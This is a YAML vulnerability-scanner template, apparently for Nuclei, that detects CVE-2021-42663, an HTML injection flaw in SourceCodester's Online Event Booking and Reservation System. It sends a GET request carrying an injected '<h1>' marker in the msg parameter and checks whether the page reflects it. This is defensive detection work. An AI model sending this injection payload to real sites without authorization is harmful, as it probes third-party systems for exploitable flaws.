36 lines
1.3 KiB
YAML
36 lines
1.3 KiB
YAML
|
id: CVE-2021-42663
|
||
|
|
||
|
info:
|
||
|
name: SourceCodester Online Event Booking and Reservation System version 2.3.0 - HTML injection
|
||
|
author: fxploit
|
||
|
severity: medium
|
||
|
description: |
|
||
|
An HTML injection vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link he will display the content of the HTML code of the attacker's choice.
|
||
|
reference:
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
|
||
|
- https://github.com/0xDeku/CVE-2021-42663
|
||
|
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
|
||
|
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
|
||
|
cvss-score: 4.3
|
||
|
cve-id: CVE-2021-42663
|
||
|
cwe-id: CWE-79
|
||
|
tags: sourcecodester,injection,cve,cve2021
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/event-management/views/index.php?msg=<h1>This is an HTML injection</h1>"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- "This is an HTML injection"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|